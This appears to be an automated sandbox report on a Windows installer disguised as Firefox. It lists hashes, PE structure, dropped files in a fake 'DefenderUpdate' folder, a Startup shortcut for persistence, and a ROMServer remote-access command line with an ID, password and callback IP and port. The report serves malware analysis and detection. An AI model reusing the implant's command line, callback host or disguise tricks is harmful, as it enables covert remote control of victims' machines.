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| File name: | 2C43.tmp |
| Full analysis: | https://app.any.run/tasks/b6cb63d0-939d-4463-bbce-ff648a891086 |
| Verdict: | Malicious activity |
| Analysis date: | September 19, 2019, 11:46:04 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive |
| MD5: | D20467C3B4DE23EF542E1734BE6AA4E8 |
| SHA1: | A56CE84E48B49944FD07AD9EACA4BA5AAFD53944 |
| SHA256: | 7B4F6CFCE0D63972575BA3AD33A2886AC86D9C60F4C0AB002520A414C53403D4 |
| SSDEEP: | 49152:/YC0wC2wWQfdYDcmrRczqRR8FsPPnjXTCY2W:/YgC2EQplOFGC/W |
MALICIOUS
Application was dropped or rewritten from another process
- DefenderUpdate.exe (PID: 3496)
- ROMServer.exe (PID: 3364)
- WFD.exe (PID: 3276)
Loads dropped or rewritten executable
- 2C43.tmp.exe (PID: 3612)
- ROMServer.exe (PID: 3364)
Writes to a start menu file
- 2C43.tmp.exe (PID: 3612)
SUSPICIOUS
Reads Environment values
- ROMServer.exe (PID: 3364)
Reads Windows Product ID
- ROMServer.exe (PID: 3364)
Creates files in the user directory
- 2C43.tmp.exe (PID: 3612)
Executable content was dropped or overwritten
- 2C43.tmp.exe (PID: 3612)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (67.4) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (14.2) |
| .exe | | | Win32 Executable (generic) (9.7) |
| .exe | | | Generic Win/DOS Executable (4.3) |
| .exe | | | DOS Executable Generic (4.3) |
EXIF
EXE
| LegalCopyright: | - |
|---|---|
| FileVersion: | 58.0.0.7 |
| FileDescription: | Firefox Corporation |
| CharacterSet: | Windows, Latin1 |
| LanguageCode: | English (U.S.) |
| FileSubtype: | - |
| ObjectFileType: | Executable application |
| FileOS: | Win32 |
| FileFlags: | (none) |
| FileFlagsMask: | 0x0000 |
| ProductVersionNumber: | 58.0.0.7 |
| FileVersionNumber: | 58.0.0.7 |
| Subsystem: | Windows GUI |
| SubsystemVersion: | 4 |
| ImageVersion: | 6 |
| OSVersion: | 4 |
| EntryPoint: | 0x3328 |
| UninitializedDataSize: | 1024 |
| InitializedDataSize: | 118784 |
| CodeSize: | 25088 |
| LinkerVersion: | 6 |
| PEType: | PE32 |
| TimeStamp: | 2018:01:30 04:57:38+01:00 |
| MachineType: | Intel 386 or later, and compatibles |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 30-Jan-2018 03:57:38 |
| Detected languages: |
|
| FileDescription: | Firefox Corporation |
| FileVersion: | 58.0.0.7 |
| LegalCopyright: | - |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000D8 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 30-Jan-2018 03:57:38 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x00006077 | 0x00006200 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.40397 |
.rdata | 0x00008000 | 0x00001248 | 0x00001400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.04426 |
.data | 0x0000A000 | 0x0001A838 | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 5.22445 |
.ndata | 0x00025000 | 0x00008000 | 0x00000000 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.rsrc | 0x0002D000 | 0x00000C20 | 0x00000E00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.06334 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.2992 | 830 | UNKNOWN | English - United States | RT_MANIFEST |
103 | 2.16096 | 20 | UNKNOWN | English - United States | RT_GROUP_ICON |
105 | 2.66174 | 256 | UNKNOWN | English - United States | RT_DIALOG |
106 | 2.88094 | 284 | UNKNOWN | English - United States | RT_DIALOG |
111 | 2.48825 | 96 | UNKNOWN | English - United States | RT_DIALOG |
Imports
ADVAPI32.dll |
COMCTL32.dll |
GDI32.dll |
KERNEL32.dll |
SHELL32.dll |
USER32.dll |
ole32.dll |
Total processes
36
Monitored processes
4
Malicious processes
0
Suspicious processes
3
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3612 | "C:\Users\admin\AppData\Local\Temp\2C43.tmp.exe" | C:\Users\admin\AppData\Local\Temp\2C43.tmp.exe | explorer.exe | |
User: admin Integrity Level: MEDIUM Description: Firefox Corporation Exit code: 0 Version: 58.0.0.7 | ||||
| 3496 | "C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\DefenderUpdate.exe" | C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\DefenderUpdate.exe | — | 2C43.tmp.exe |
User: admin Integrity Level: MEDIUM Exit code: 2420428 | ||||
| 3276 | "C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\WFD.exe" | C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\WFD.exe | — | DefenderUpdate.exe |
User: admin Integrity Level: MEDIUM Exit code: 9 | ||||
| 3364 | ROMServer.exe /ID:2B6126799605EF42 /PASSWORD:77755531 /NOIPIP:185.248.161.31 /NOIPPORT:7775 | C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\ROMServer.exe | DefenderUpdate.exe | |
User: admin Integrity Level: MEDIUM Description: ROMServer Version: 4.8.0.0 | ||||
Total events
851
Read events
795
Write events
0
Delete events
0
Modification events
Executable files
5
Suspicious files
0
Text files
0
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3612 | 2C43.tmp.exe | C:\Users\admin\AppData\Local\Temp\nsq9EF5.tmp | — | |
MD5:— | SHA256:— | |||
| 3612 | 2C43.tmp.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender Update.lnk | lnk | |
MD5:E67232D066EC62914516A9F068617A83 | SHA256:BF886A9DF1B07E7BE4AFF03D4B0F53058542B6325D512E9EDB3B5A03E5D73FB9 | |||
| 3612 | 2C43.tmp.exe | C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\WFD.exe | executable | |
MD5:9E58292B0ACCECC4E4DE8260DB581A41 | SHA256:44E6BC8B191EB12631B772B1F25DC55004DEAE6E75E111B7FDD120836464AEC2 | |||
| 3612 | 2C43.tmp.exe | C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\DefenderUpdate.exe | executable | |
MD5:2B8743AFB15FFC7753D71D40D0C71CCC | SHA256:183045475C49ABA272E14CB4F48063A51289545ED7F3E556034E537C3B373441 | |||
| 3612 | 2C43.tmp.exe | C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\ROMServer.exe | executable | |
MD5:007E5AAEC1F0D20D68F2EA34EE0E6E1D | SHA256:81B1481D9EE2443DCD5F0B90337459405688FE24A292A7C7E618B3BB95D640DA | |||
| 3612 | 2C43.tmp.exe | C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\winmm.dll | executable | |
MD5:CFF851AB752D0B8216AB696512E25B46 | SHA256:2D1161C531F6AB3E8A6BFFC3E4597E1D2E215C29D4C36B55477D3DFAC958BF20 | |||
| 3612 | 2C43.tmp.exe | C:\Users\admin\AppData\Local\Temp\nsq9EF6.tmp\System.dll | executable | |
MD5:B0C77267F13B2F87C084FD86EF51CCFC | SHA256:A0CAC4CF4852895619BC7743EBEB89F9E4927CCDB9E66B1BCD92A4136D0F9C77 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
3
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3364 | ROMServer.exe | 185.248.161.31:7775 | — | — | — | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
dns.msftncsi.com |
| shared |